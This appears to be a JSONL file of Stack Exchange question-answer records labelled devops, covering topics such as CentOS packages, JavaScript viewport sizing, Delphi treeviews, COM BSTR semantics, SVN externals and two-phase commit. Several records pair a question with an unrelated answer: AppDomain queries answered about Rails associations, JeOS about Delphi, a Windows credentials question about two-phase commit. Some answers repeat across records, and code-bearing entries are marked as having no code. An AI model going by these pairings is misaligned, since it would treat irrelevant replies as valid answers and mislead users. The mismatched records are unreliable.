{"id": "hf_bce7d24c9be7", "question": "<p>I've been unsuccessfully searching for a way to install <code>make</code> utility on my CentOS 5.2. I've looked through some RPM repositories and online, with no avail. Installing <code>gcc</code>, <code>gcc-c++</code> didn't help! Package <code>build-essential</code> is not made for CentOS/RHEL. I have RPMFORGE repo enabled in YUM.</p>\n", "question_body": "", "answer": "I just double checked and CentOS 5.2 already includes make!\nI found it also in one of the online mirrors, if it is easier for you:\nhttp://centos.cogentcloud.com/5.2/os/i386/CentOS/make-3.81-3.el5.i386.rpm\nif you installed the 64 bit version:\nhttp://centos.cogentcloud.com/5.2/os/x86_64/CentOS/make-3.81-3.el5.x86_64.rpm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.713351"}
{"id": "hf_ea61d595851b", "question": "<p>I have a service app that creates AppDomain's during the course of its use for long running tasks. I've been tracking these by storing them in a Hashtable with a unique ID.</p>\n\n<p>After a task is completed the service app then unloads the AppDomain allocated to that task and then it's removed it from the appdomain Hashtable.</p>\n\n<p>Purely from a sanity checking point of view, is there a way I can query the CLR to see what app domains are still loaded by the creating app domain (i.e. so I can compare the tracking Hashtable against what the CLR actually sees)?</p>\n", "question_body": "", "answer": "```\nchildren\n```\nis a simple has_many association\nThis means, when you call\n```\n.children\n```\n, it will load them from the database (if not already present). It will then cache them.\nI was going to say that your second 'test' will actually be looking at the cached values not the real database, but that shouldn't happen as you are just using\n```\nTask.count\n```\nrather than\n```\nd1.children.count\n```\n. Hrm\nHave you looked at the logs? They will show you the SQL which is being executed. You may see a mysql error in there which will tell you what's going on", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.784698"}
{"id": "hf_e54c9c573926", "question": "<p>I'm trying to set the width and height of an element with javascript to cover the entire browser viewport, and I'm successful using <pre>document.body.clientHeight</pre> but in IE6 it seems that I always get horizontal and vertical scrollbars because the element must be slightly too big. </p>\n\n<p>Now, I really don't want to use browser specific logic and substract a pixel or 2 from each dimension just for IE6. Also, I am not using CSS (width: 100% etc.) for this because I need the pixel amounts.</p>\n\n<p>Does anyone know a better way to fill the viewport with an element in IE6+ (obviously all good browsers, too)?</p>\n\n<p>Edit: Thanks Owen for the suggestion, I'm sure jQuery will work. I should have specified that I need a toolkit-agnostic solution. </p>\n", "question_body": "", "answer": "This\nmay\nhelp the cause ...\nFrom\nhttp://andylangton.co.uk/articles/javascript/get-viewport-size-javascript/\n:\n```\n```\n<script type=\"text/javascript\">\n<!--\n\n var viewportwidth;\n var viewportheight;\n\n // the more standards compliant browsers (mozilla/netscape/opera/IE7) use window.innerWidth and window.innerHeight\n\n if (typeof window.innerWidth != 'undefined')\n {\n      viewportwidth = window.innerWidth,\n      viewportheight = window.innerHeight\n }\n\n// IE6 in standards compliant mode (i.e. with a valid doctype as the first line in the document)\n\n else if (typeof document.documentElement != 'undefined'\n     && typeof document.documentElement.clientWidth !=\n     'undefined' && document.documentElement.clientWidth != 0)\n {\n       viewportwidth = document.documentElement.clientWidth,\n       viewportheight = document.documentElement.clientHeight\n }\n\n // older versions of IE\n\n else\n {\n       viewportwidth = document.getElementsByTagName('body')[0].clientWidth,\n       viewportheight = document.getElementsByTagName('body')[0].clientHeight\n }\ndocument.write('<p>Your viewport width is '+viewportwidth+'x'+viewportheight+'</p>');\n//-->\n</script>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.808489"}
{"id": "hf_27a54f590b33", "question": "<p>Im using delphi's ttreeview as an 'options' menu. how would i go upon selecting the next node at runtime like a previous and next button? i tried the getprev and getnext methods but no luck.</p>\n", "question_body": "", "answer": "Here you have the 'Next' behavior. For 'Previous' I leave as exercise for you: :-)\n```\n```\nprocedure TForm8.btn1Click(Sender: TObject);  \nvar  \n  crt: TTreeNode;\n\nbegin\n  with tv1 do //this is our tree\n  begin\n    if Selected=nil then\n      crt:=Items[0] //the first one\n    else\n      crt:=Selected.GetNext; //for previous you'll have 'GetPrev' \n\n    if crt<>nil then //can be 'nil' if we reached to the end\n      Selected:=crt;\n  end;\nend;\n```\n```\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.868269"}
{"id": "hf_1c3345ab5573", "question": "<p>Actually I will want to use that JeOS for our webserver. Is it a good choice?</p>\n", "question_body": "", "answer": "Here you have the 'Next' behavior. For 'Previous' I leave as exercise for you: :-)\n```\n```\nprocedure TForm8.btn1Click(Sender: TObject);  \nvar  \n  crt: TTreeNode;\n\nbegin\n  with tv1 do //this is our tree\n  begin\n    if Selected=nil then\n      crt:=Items[0] //the first one\n    else\n      crt:=Selected.GetNext; //for previous you'll have 'GetPrev' \n\n    if crt<>nil then //can be 'nil' if we reached to the end\n      Selected:=crt;\n  end;\nend;\n```\n```\nHTH", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.892309"}
{"id": "hf_a0bb339a9c7a", "question": "<p>If I modify or add an environment variable I have to restart the command prompt.  Is there a command I could execute that would do this without restarting CMD?</p>\n", "question_body": "", "answer": "By design there isn't a\nbuilt in\nmechanism for Windows to propagate an environment variable add/change/remove to an already running cmd.exe, either from another cmd.exe or from \"My Computer -> Properties ->Advanced Settings -> Environment Variables\".\nIf you modify or add a new environment variable outside of the scope of an existing open command prompt you either need to restart the command prompt, or, manually add using SET in the existing command prompt.\nThe\nlatest accepted answer\nshows a partial work-around by manually refreshing\nall\nthe environment variables in a script. The script handles the use case of changing environment variables globally in \"My Computer...Environment Variables\", but if an environment variable is changed in one cmd.exe the script will not propagate it to another running cmd.exe.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.917907"}
{"id": "hf_c67e8edb5992", "question": "<p>I am involved in development of a tiered application that uses LINQ2SQL separated from the   web server with a NET.TCP Binding on WCF. </p>\n\n<p>My questions are: </p>\n\n<ol>\n<li>What sort of measures should I take\nto achieve the best performance?</li>\n<li>Since the entity objects returned by\nthe LINQ need to be converted to a\nIEnumerable list to be serialized\neverytime, is there anyway to remove\nthis dependency?</li>\n</ol>\n", "question_body": "", "answer": "1) Concentrate on a properly normalized database design.  I would say that when you are forced to make design tradeoffs in your code vs. database design, if performance is your goal, make tradeoffs in your object design instead of your database design.  Understand that you aren't going to be able to do a proper supertype/subtype database design which will work with Linq to SQL (I'm told you need to use the EF instead).\n2) Depends what you mean here.  If you're asking how you would serialize anonymous classes across the wire, the easy answer is: \"you can't, so don't try\".  If you want to put lists of objects across the wire, just use the ToArray() extension method on your IEnumerable collections to ship arrays of your business objects over the wire.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:39.977549"}
{"id": "hf_46e2664db111", "question": "<p>I've got a data object with a component in it that is an System.Collections.Generic.IList, and I'd like to reflect changes to that list into a Gtk# NodeView, so that when an item is added to the list, the NodeView will get a new item added to it.  </p>\n\n<p>How would I listen for changes to an IList?  I have considered wrapping the IList with a class that implements IList, delegates the requisite methods, and broadcasts an event when changing it's contents, but that seems like a lot of work for something that has probably already been solved by someone else.</p>\n", "question_body": "", "answer": "1) Concentrate on a properly normalized database design.  I would say that when you are forced to make design tradeoffs in your code vs. database design, if performance is your goal, make tradeoffs in your object design instead of your database design.  Understand that you aren't going to be able to do a proper supertype/subtype database design which will work with Linq to SQL (I'm told you need to use the EF instead).\n2) Depends what you mean here.  If you're asking how you would serialize anonymous classes across the wire, the easy answer is: \"you can't, so don't try\".  If you want to put lists of objects across the wire, just use the ToArray() extension method on your IEnumerable collections to ship arrays of your business objects over the wire.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.001293"}
{"id": "hf_bd77b786549c", "question": "<p>im currently overiding the <code>WM_NCPAINT</code>, <code>WM_NCCALCSIZE</code> and <code>WM_NCACTIVATE</code> to paint my own color/themed title bar for an application im working on. Now this is working great however the min, max and close buttons still are xp default theme.</p>\n\n<p>I looked into what controls them and the mouse messages do. However they also contol resizing and other functions that I dont want to lose.</p>\n\n<p>Is there an easy way to just change the theme of these buttons?</p>\n\n<ul>\n<li>Windows XP</li>\n<li>MFC Forms</li>\n<li>Visual studio 2005</li>\n</ul>\n", "question_body": "", "answer": "I think your best bet here is to disable the buttons and redraw them with something akin to to\nthe code I posted in this answer\n. It's in C# with WinForms, but the vast majority of it is overloaded WndProc() anyway, which you should be able to use almost copy/paste into MFC.\nImplementing click handlers to do what you want them to do is trivial.\nNote: The asker of that question said the code didn't work in Vista. I don't have a Vista box, but it works for me in XP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.036679"}
{"id": "hf_1c563dec8f52", "question": "<p>When using one's own iPhone for development it's easy enough to access any crash logs via XCode->Organizer->Crash Logs.</p>\n\n<p>How does one access crash logs on another person's phone if they don't have it set up for development in XCode, as would likely be the case if you were distributing your app to them via ad hoc distribution for beta testing?</p>\n", "question_body": "", "answer": "Two ways:\niTunes syncs all crash reports during a regular sync. They can be found in Library/Logs/CrashReporter/MobileDevice on a Mac and probably somewhere in %APPDATA% on Windows.\nYou can use the\niPhone Configuration Utility for Mac OS X\non any Mac to access the phone's console and crash logs. Note:\nthe iPhone Web Configuration Utility, which is available for Windows and Mac (note the \"web\" in the name)\ndoes not\nallow this kind of access and only provides a portion of the Configuration Utility's features\n.\nEr, no you can't. Xcode provides this facility in the Organizer (from the Window menu), but not iPCU.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.060676"}
{"id": "hf_2f64c615a189", "question": "<p>When maintaining a <code>COM</code> interface should an empty <code>BSTR</code> be treated the same way as <code>NULL</code>?\nIn other words should these two function calls produce the same result?</p>\n\n<pre><code> // Empty BSTR\n CComBSTR empty(L\"\"); // Or SysAllocString(L\"\")\n someObj-&gt;Foo(empty);\n\n // NULL BSTR\n someObj-&gt;Foo(NULL);     \n</code></pre>\n", "question_body": "", "answer": "Yes - a NULL BSTR is the same as an empty one. I remember we had all sorts of bugs that were uncovered when we switched from VS6 to 2003 - the CComBSTR class had a change to the default constructor that allocated it using NULL rather than an empty string. This happens when you for example treat a BSTR as a regular C style string and pass it to some function like\n```\nstrlen\n```\n, or try to initialise a\n```\nstd::string\n```\nwith it.\nEric Lippert discusses BSTR's in great detail in\nEric's Complete Guide To BSTR Semantics\n:\nLet me list the differences first and\nthen discuss each point in\nexcruciating detail.\nA BSTR must have identical\nsemantics for NULL and for \"\".  A PWSZ\nfrequently has different semantics for\nthose.\nA BSTR must be allocated and freed\nwith the SysAlloc* family of\nfunctions.  A PWSZ can be an\nautomatic-storage buffer from the\nstack or allocated with malloc, new,\nLocalAlloc or any other memory\nallocator.\nA BSTR is of fixed length.  A PWSZ\nmay be of any length, limited only by\nthe amount of valid memory in its\nbuffer.\nA BSTR always points to the first\nvalid character in the buffer.  A PWSZ\nmay be a pointer to the middle or end\nof a string buffer.\nWhen allocating an n-byte BSTR you\nhave room for n/2 wide characters.\nWhen you allocate n bytes for a PWSZ\nyou can store n / 2 - 1 characters --\nyou have to leave room for the null.\nA BSTR may contain any Unicode data\nincluding the zero character.  A PWSZ\nnever contains the zero character\nexcept as an end-of-string marker.\nBoth a BSTR and a PWSZ always have a\nzero character after their last valid\ncharacter, but in a BSTR a valid\ncharacter may be a zero character.\nA BSTR may actually contain an odd\nnumber of bytes -- it may be used for\nmoving binary data around.  A PWSZ is\nalmost always an even number of bytes\nand used only for storing Unicode\nstrings.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.096079"}
{"id": "hf_cba8bf4c6fc1", "question": "<p>I've been trying to create a Windows Media Player plugin in Visual Studio 2008, and am having great difficulty finding the correct template. MSDN provides advice <a href=\"http://msdn.microsoft.com/en-us/library/bb262076(VS.85).aspx\" rel=\"nofollow noreferrer\">here</a>, but it does not appear to be relevant to VS2008.</p>\n\n<p>Can anyone suggest how to start a WMP plugin in Visual Studio?</p>\n\n<p>EDIT: Ive accepted this answer because it worked for me, but I'm afraid it isn't the most elegant of solutions. If anyone has a better idea, please add it!</p>\n", "question_body": "", "answer": "Generics doesn't natively support arithmetic. However, it can be done with .NET 3.5,\nlike so\n. The Operator class is part of\nMiscUtil\n. This then becomes:\n```\n```\npublic T Evaluate<T>(T x, T y) {\n      switch (Operation)\n      {\n        case BinaryOp.Add:\n            return Operator.Add(x, y);\n        case BinaryOp.Subtract:\n            return Operator.Subtract(x, y);\n     ... etc\n```\n```\nSince you are writing an expression parser, it might be a good idea to use Expression directly, but you're welcome to use the above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.149027"}
{"id": "hf_33de885182f1", "question": "<p>Many times I will use the same font scheme for static text in a wxPython application. Currently I am making a <code>SetFont()</code> call for each static text object but that seems like a lot of unnecessary work. However, the wxPython demo and wxPython In Action book don't discuss this.</p>\n\n<p>Is there a way to easily apply the same <code>SetFont()</code> method to all these text objects without making separate calls each time?</p>\n", "question_body": "", "answer": "Maybe try subclassing the text object and in your class\n```\n__init__\n```\nmethod just call SetFont()?\nOr, do something like:\n```\n```\ndef f(C):\n  x = C()\n  x.SetFont(font) # where font is defined somewhere else\n  return x\n```\n```\nand then just decorate every text object you create with with it:\n```\n```\ntext = f(wx.StaticText)\n```\n```\n(of course, if\n```\nStaticText\n```\nconstructor requires some parameters, it will require changing the first lines in\n```\nf\n```\nfunction definition).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.177978"}
{"id": "hf_15f7695edc80", "question": "<p>How do i delete all the tables in the schema on Apache Derby DB using JDBC?</p>\n", "question_body": "", "answer": "I think most db providers don't allow DROP TABLE * (or similar).\nI think the best way would be to SHOW TABLES and then go through each deleting in a loop via a resultset.\nHTH.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.226286"}
{"id": "hf_369a782ea6ef", "question": "<p>Using NHibernate from C# and only HQL (not SQL) in a way that is compatible with MS SQL Server 2005/2008 (and preferably Oracle).</p>\n\n<p>Is there a way to write the order by clause so that nulls will sort at the end of the query results while the non-null results will be sorted in ascending order?</p>\n\n<p>Based on the answer to the question referenced by nickf the answer is:</p>\n\n<pre><code>select x from MyClass x order by case when x.MyProperty is null then 1 else 0 end, x.MyProperty\n</code></pre>\n", "question_body": "", "answer": "In the Wikipedia example, those instances can be passed into a function that doesn't have to care which class those instances belong to. The function just calls\n```\nexecute\n```\non the object passed, and know that the Right Thing will happen.\nA typical example of the Strategy Pattern is how files work in Unix. Given a file descriptor, you can read from it, write to it, poll it, seek on it, send\n```\nioctl\n```\ns to it, etc., without having to know whether you're dealing with a file, directory, pipe, socket, device, etc. (Of course some operations, like seek, don't work on pipes and sockets. But reads and writes will work just fine in these cases.)\nThat means you can write generic code to handle all these different types of \"files\", without having to write separate code to deal with files versus directories, etc. The Unix kernel takes care of delegating the calls to the right code.\nNow, this is Strategy Pattern as used in kernel code, but you didn't specify that it had to be user code, just a real world example. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.309082"}
{"id": "hf_30341494b238", "question": "<p>I've updated my TortoiseSVN client and now I'm getting the error when trying to update or commit to different repositories:</p>\n\n<blockquote>\n  <p>The requested name is valid, but no data of the requested type was\n  found</p>\n</blockquote>\n\n<p>Any ideas on how I can solve this? Internet Explorer shows up appropriate URL just fine.</p>\n\n<p><em>TortoiseSVN 1.5.3, Build 13783.</em></p>\n", "question_body": "", "answer": "This error being reported is a winsock one, rather than being particular to TSVN. From\nWindows Sockets Error Codes\n:\nThe requested name is valid and was found in the database, but it does not have the correct associated data being resolved for, e.g. an MX record is returned but no A record - indicating the host itself exists, but is not directly reachable.\nIt is strange that you can access the host via IE however. Is it possible that in TSVN you've specified a port number that isn't available on the remote host, and IE is accessing the host on port 80?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.345125"}
{"id": "hf_36abf3348943", "question": "<p>Are there LaTeX packages for (more or less) easily drawing Gantt diagrams?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "I have not used myself, but it looks like PSTricks offers some Gantt chart drawing capabilities.\nMain PSTricks site:\nhttp://tug.org/PSTricks/main.cgi\nExample of Gantt chart using PSTricks:\nhttp://tug.org/PSTricks/main.cgi?file=Examples/Charts/gantt", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.368468"}
{"id": "hf_406f7a36ed8b", "question": "<p>I have a plug-in to an Eclipse RCP application that has a view.  After an event occurs in the RCP application, the plug-in is instantiated, its methods are called to populate the plug-in's model, but I cannot find how to make the view appear without going to the \"Show View...\" menu.</p>\n\n<p>I would think that there would be something in the workbench singleton that could handle this, but I have not found out how anywhere.</p>\n", "question_body": "", "answer": "You are probably looking for this:\n```\n```\nPlatformUI.getWorkbench().getActiveWorkbenchWindow().getActivePage().showView(\"viewId\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.403395"}
{"id": "hf_a223f1f40552", "question": "<p>I want to update a list of storage devices as the user inserts USB keys, adds external disks and mounts disk images. IOKit's IOServiceAddInterestNotification looks like the way to go, but the obvious use of registering general interest in kIOMediaClass only gives you notifications for unmounting of volumes and then only sometimes.</p>\n\n<p>What's the right way to do this?</p>\n", "question_body": "", "answer": "Would watching\n```\n/Volumes\n```\nfor changes do what you need?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.477996"}
{"id": "hf_5c84112be4fb", "question": "<p>I am studying how two-phase commit works across a distributed transaction. It is my understanding that in the last part of the phase the transaction coordinator asks each node whether it is ready to commit. If everyone agreed, then it tells them to go ahead and commit.</p>\n\n<p>What prevents the following failure?</p>\n\n<ol>\n<li>All nodes respond that they are\nready to commit</li>\n<li>The transaction\ncoordinator tells them to \"go ahead\nand commit\" but one of the nodes\ncrashes before receiving this\nmessage</li>\n<li>All other nodes commit successfully, but now the distributed transaction is corrupt</li>\n<li>It is my understanding that when the crashed node comes back, its transaction will have been rolled back (since it never got the commit message)</li>\n</ol>\n\n<p>I am assuming each node is running a normal database that doesn't know anything about distributed transactions. What did I miss?</p>\n", "question_body": "", "answer": "No.  Point 4 is incorrect.  Each node records in stable storage that it was able to commit or rollback the transaction, so that it will be able to do as commanded even across crashes.  When the crashed node comes back up, it must realize that it has a transaction in pre-commit state, reinstate any relevant locks or other controls, and then attempt to contact the coordinator site to collect the status of the transaction.\nThe problems only occur if the crashed node never comes back up (then everything else thinks the transaction was OK, or will be when the crashed node comes back).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.537428"}
{"id": "hf_1e2f8e895fb6", "question": "<p>Is there an app or way to browse a directory that requires different login credentials without using a mapped drive?  </p>\n\n<p>The issue is given one login credential Windows Explorer only allows you to map it to one drive and disallows using the same login credential to map to a different drive.  </p>\n", "question_body": "", "answer": "No.  Point 4 is incorrect.  Each node records in stable storage that it was able to commit or rollback the transaction, so that it will be able to do as commanded even across crashes.  When the crashed node comes back up, it must realize that it has a transaction in pre-commit state, reinstate any relevant locks or other controls, and then attempt to contact the coordinator site to collect the status of the transaction.\nThe problems only occur if the crashed node never comes back up (then everything else thinks the transaction was OK, or will be when the crashed node comes back).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.560358"}
{"id": "hf_18eb8178d116", "question": "<p>I am using the <a href=\"https://jqueryui.com/dialog/\" rel=\"noreferrer\"><code>jquery-ui-dialog</code></a> plugin</p>\n\n<p>I am looking for way to refresh the page when in some circumstances when the dialog is closed.</p>\n\n<p>Is there a way to capture a close event from the dialog?</p>\n\n<p>I know I can run code when the close button is clicked but that doesn't cover the user closing with escape or the x in the top right corner.</p>\n", "question_body": "", "answer": "If I'm understanding the type of window you're talking about, wouldn't\n$(window).unload()\n(for the dialog window) give you the hook you need?\n(And if I misunderstood, and you're talking about a dialog box made via CSS rather than a pop-up browser window, then\nall\nthe ways of closing that window are elements you could register click handers for.)\nEdit:\nAh, I see now you're talking about jquery-ui dialogs, which are made via CSS.  You can hook the\nX\nwhich closes the window by registering a click handler for the element with the class\nui-dialog-titlebar-close\n.\nMore useful, perhaps, is you tell you how to figure that out quickly.  While displaying the dialog, just pop open FireBug and\nInspect\nthe elements that can close the window.  You'll instantly see how they are defined and that gives you what you need to register the click handlers.\nSo to directly answer your question, I believe the answer is really \"no\" -- there's isn't a close event you can hook, but \"yes\" -- you can hook all the ways to close the dialog box fairly easily and get what you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.631035"}
{"id": "hf_f8c09e72a68f", "question": "<p>I've been hearing a lot about about how the new version of VMWare Fusion can run virtual operating systems in \"headless mode\". </p>\n\n<p>A Google search makes it clear that other virtualisation products also have similar features, however, I have not been able to find a good description of what this actually means? What is happening when you do this?</p>\n", "question_body": "", "answer": "For anyone that is interested, you can activate headless mode in VMWare Fusion by running the following command in Terminal.app\n```\n```\ndefaults write com.vmware.fusion fluxCapacitor -bool YES\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.660570"}
{"id": "hf_5b2e4d36ab9d", "question": "<p>I'm storing all localizable strings in a <code>ResourceDictionary</code> (in <code>App.xaml</code>) and assign those via the <code>StaticResource</code> markup extension to <code>TextBlock.Text</code>, <code>Button.Content</code> etc.</p>\n\n<p>In Beta 2 and RC0, <em>sometimes</em> parsing the XAML in <code>InitializeComponent()</code> will fail with an <code>AG_E_PARSER_BAD_PROPERTY_VALUE</code> on the line and position where I set the attribute value to the <code>StaticResource</code>.</p>\n\n<p>It only happens sometimes: When restarting the app, it parses and displays without any problems. The same interface code works for days or weeks, then it happens again.</p>\n\n<p>Any ideas?</p>\n", "question_body": "", "answer": "Parser, at least in beta 2, didnt like whitespace...\nFor instance:\n```\n```\nText=\"{StaticResource bleh}\"\n```\n```\nworked\nhowever this:\n```\n```\nText = \"{StaticResource bleh}\"\n```\n```\nbombed", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.695695"}
{"id": "hf_cbf25871fd2f", "question": "<p>When logging in C#, how can I learn the name of the method that called the current method? I know all about <code>System.Reflection.MethodBase.GetCurrentMethod()</code>, but I want to go one step beneath this in the stack trace. I've considered parsing the stack trace, but I am hoping to find a cleaner more explicit way, something like <code>Assembly.GetCallingAssembly()</code> but for methods.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nusing System.Diagnostics;\n// Get call stack\nStackTrace stackTrace = new StackTrace(); \n// Get calling method name\nConsole.WriteLine(stackTrace.GetFrame(1).GetMethod().Name);\n```\n```\none-liner:\n```\n```\n(new System.Diagnostics.StackTrace()).GetFrame(1).GetMethod().Name\n```\n```\nIt is from\nGet Calling Method using Reflection [C#]\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.720431"}
{"id": "hf_2666dc3baecb", "question": "<p>Is there a way to exclude all svn externals when doing a recursive update?</p>\n\n<p>Is there a way to exclude only 1 of all of the svn externals when doing a recursive update?</p>\n\n<p>Basically I'd like to cut down the svn update time, and a couple of the SVN externals that I have will just about never get updated.</p>\n", "question_body": "", "answer": "Yes, there is an option for this (to ignore all):\n```\n```\n> svn update --ignore-externals\n```\n```\nI don't know of any option to specifically ignore one or some externals while updating the rest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.756203"}
{"id": "hf_5b185e58ced2", "question": "<p>I've written a small test application using the .Net FileSystemWatcher to keep an eye on a directory. When I copy a large-ish (a few Mb) file into that directory I get the following events listed (see screenshot - and ignore the Delete event to begin with).</p>\n\n<p><a href=\"http://robinwilson.homelinux.com/FSW.png\" rel=\"nofollow noreferrer\">alt text http://robinwilson.homelinux.com/FSW.png</a></p>\n\n<p>I get a created event (as expected), but then two changed events (about 0.7 seconds apart). Why is this? This would cause major problems in the application I am planning to develop - as I'd try and do things with the file twice (presumably once before it has finished being written to!). Is there anything I can do to stop this happening? From what I've read on StackOverflow and elsewhere, you should just get one changed event once the file has been changed and then closed. Why am I getting two?</p>\n", "question_body": "", "answer": "Usually the copying program is doing it in blocks, not entire file at once. I don't think you can do anything to avoid this, you will have to adopt your algorithms to deal with this.\nYou can perform an attempt to open file with exclusive read rights, which should be granted to your program only when other program finished copying and closed file. Otherwise you will get IOException and you can wait for next change. But this doesn't mean you shouldn't deal with multiply change events. Opening text file in Notepad and saving it once in a while will generate change events, but file will not be locked all the time.\nAnother approach would be to collect touched files for a period of time, and when FileSystemWatcher stops generating events, process all files at once.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:40.791118"}
